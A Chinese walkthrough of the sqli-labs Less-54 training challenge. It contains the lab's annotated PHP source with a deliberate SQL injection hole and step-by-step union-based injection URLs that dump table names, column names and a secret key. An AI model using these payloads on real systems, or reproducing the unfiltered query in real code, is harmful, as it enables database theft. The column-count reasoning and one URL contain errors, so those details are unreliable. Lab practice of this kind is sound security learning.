sqli-labs通关笔记-第54关 GET字符型注入(单引号闭合 限制10次探测机会)
目录
一、代码审计
1、源码分析
2、SQL注入风险分析
二、渗透实战
1、渗透准备
2、获取列数
3、判断回显位
4、爆数据库名
5、爆表名
6、爆列名
7、爆数据
8、输入密钥
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第54关Less 54基于GET型的字符SQL注入关卡进行渗透实战,该关卡限制渗透尝试的次数,最多10次机会。
一、代码审计
1、源码分析
第54关卡是一个 SQL 注入挑战页面,经过注释的源码如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-54:Challenge-1</title>
</head><body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<!-- 重置挑战的表单按钮 -->
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">
Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
// 引入数据库连接和工具函数
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 禁用错误报告(隐藏错误信息,可能导致盲注)
error_reporting(0);
// 获取当前页面地址,用于重定向
$pag = $_SERVER['PHP_SELF'];
// 定义随机字符集(用于生成随机表名、列名等)
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
// 允许的最大尝试次数
$times= 10;
// 获取随机表名(由functions.php中的table_name()生成)
$table = table_name();
// 获取随机列名(session id列,functions.php中的column_name(1))
$col = column_name(1);
// 获取随机列名(secret key列,functions.php中的column_name(2))
$col1 = column_name(2); // 处理用户提交的secret key
if(!isset($_POST['answer_key']))
{// 处理重置请求if(isset($_POST['reset'])){// 清除挑战cookiesetcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have reset the Challenge</font><br>\n";echo "Redirecting you to main challenge page..........\n";// 4秒后重定向到设置页面header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );}else{// 检查挑战cookie是否存在if(isset($_COOKIE['challenge'])){$sessid=$_COOKIE['challenge'];}else{// 生成随机哈希值并设置cookie(有效期30天)$expire = time()+60*60*24*30;$hash = data($table,$col); // 从表中获取数据(可能用于生成cookie值)setcookie("challenge", $hash, $expire);}echo "<br>\n";// 处理GET请求中的id参数if(isset($_GET['id'])){$id=$_GET['id'];// 记录用户输入的id到日志文件(安全风险:未过滤输入)$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 更新尝试次数(可能存在SQL注入点,需查看functions.php实现)next_tryy();// 显示剩余尝试次数$tryyy = view_attempts();echo "You have made : ". $tryyy ." of $times attempts";echo "<br><br><br>\n";// 尝试次数超限,重置挑战if($tryyy >= ($times+1)){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );echo "<br>\n";}// 查询用户表(security.users),存在SQL注入风险$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){// 成功查询时显示用户名和密码echo '<font color= "#00FFFF">';echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {// 失败时不显示错误信息(盲注条件)echo '<font color= "#FFFF00">';// print_r(mysqli_error($con1)); // 错误信息被注释,无法通过报错获取数据echo "</font>"; }}else{// 提示用户输入ID参数echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;}}
}
else
{// 处理用户提交的secret keyecho '<div style=" color:#00FFFF; font-size:18px; text-align:center">';$key = addslashes($_POST['key']); // 对key进行转义(防御SQL注入的尝试)$key = mysqli_real_escape_string($con1, $key); // 使用数据库连接转义,增强安全性// 查询随机表验证secret key(表名和列名为随机生成)$sql="SELECT 1 FROM $table WHERE $col1= '$key'";$result=mysqli_query($con1, $sql)or die("error in submittion of Key Solution".mysqli_error($con1)); // 错误信息可能泄露表/列名$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){// 验证成功时显示图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/Less-54-1.jpg" />';echo "</font>"; header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" ); }else {// 验证失败时显示图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/slap1.jpg" />';header( "refresh:3;url=index.php" );echo "</font>"; }
}?>
</font> </div></br></br></br><center>
<img src="../images/Less-54.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form>
</div>
</body>
</html>
本关卡核心功能包括:通过 GET 参数 “id” 查询 “security.users” 表并显示用户信息,利用 COOKIE 存储挑战状态,提供重置功能以生成随机表名、列名和数据(存储于 “CHALLENGES” 数据库),用户需在 10 次尝试内通过注入获取随机表中的 “secret key” 并提交验证。代码存在字符串型 SQL 注入漏洞(“id” 参数未过滤),且没有打印数据库的信息导致使得无法通过报错法注入,同时随机化机制未有效防御枚举攻击,整体用于演示盲注场景下的渗透测试与防御逻辑。
2、SQL注入风险分析
本关卡具有字符型注入风险,参数id通过GET传入,并未做任何过滤。
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
二、渗透实战
1、渗透准备
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page4挑战(Challenges)页面,如下图红框所示。
其中第54关在挑战关卡“SQLi-LABS Page-4(Challenges)”中, 点击进入如下页面。
http://127.0.0.1/sqli-labs/index-3.html#fm_imagemap
点击上图红框的Less54关卡,进入到靶场的第54关SQL注入关卡(限制10次),页面提示“ Please input the ID as parameter with numeric value as done in Lab excercises ”,以及“The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 10 attempts,For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.”具体如下所示。
2、获取列数
如下所示,分别使用order by 3和order by 4来探测列数,列数为4时报错,列数为3时正常显示说明共有4列,如下所示。
http://192.168.59.1/sqli-labs/Less-54?id=1' order by 3 --+
http://192.168.59.1/sqli-labs/Less-54?id=1' order by 4 --+
3、判断回显位
如下所示,页面显示用户名位置显示2,在Password位置显示3,说明回显位为2和3。
http://192.168.59.1/sqli-labs/Less-54?id=-1' union select 1,2,3 --+
4、爆数据库名
如下所示,用户名显示信息为challenges,说明数据库名为“challenges”。
http://192.168.59.1/sqli-labs/Less-54?id=-1' union select 1,database(),3 --+
5、爆表名
如下所示,数据库challenges包含表格“6comu60q2o”。
http://192.168.59.1/sqli-labs/Less-54?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
6、爆列名
如下所示,6comu60q2o表的列名包括id,sessid,secret_94K4,tryy共4项目内容。
http://192.168.59.1/sqli-labs/Less-54?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='6comu60q2o' --+
7、爆数据
如下所示,SQL注入获取到secret_94K4对应的值为UQYvRcTiwm6AzMNdITdxV5oB。
http://192.168.59.1/sqli-labs/Less-54?id=id=-1' union select 1,2, secret_94K4 from challenges.6comu60q2o--+
8、输入密钥
将 UQYvRcTiwm6AzMNdITdxV5oB输入到secret key对应的框内,渗透成功。
burpsuite抓包,找到这个提交密钥的报文,如下所示说明渗透成功。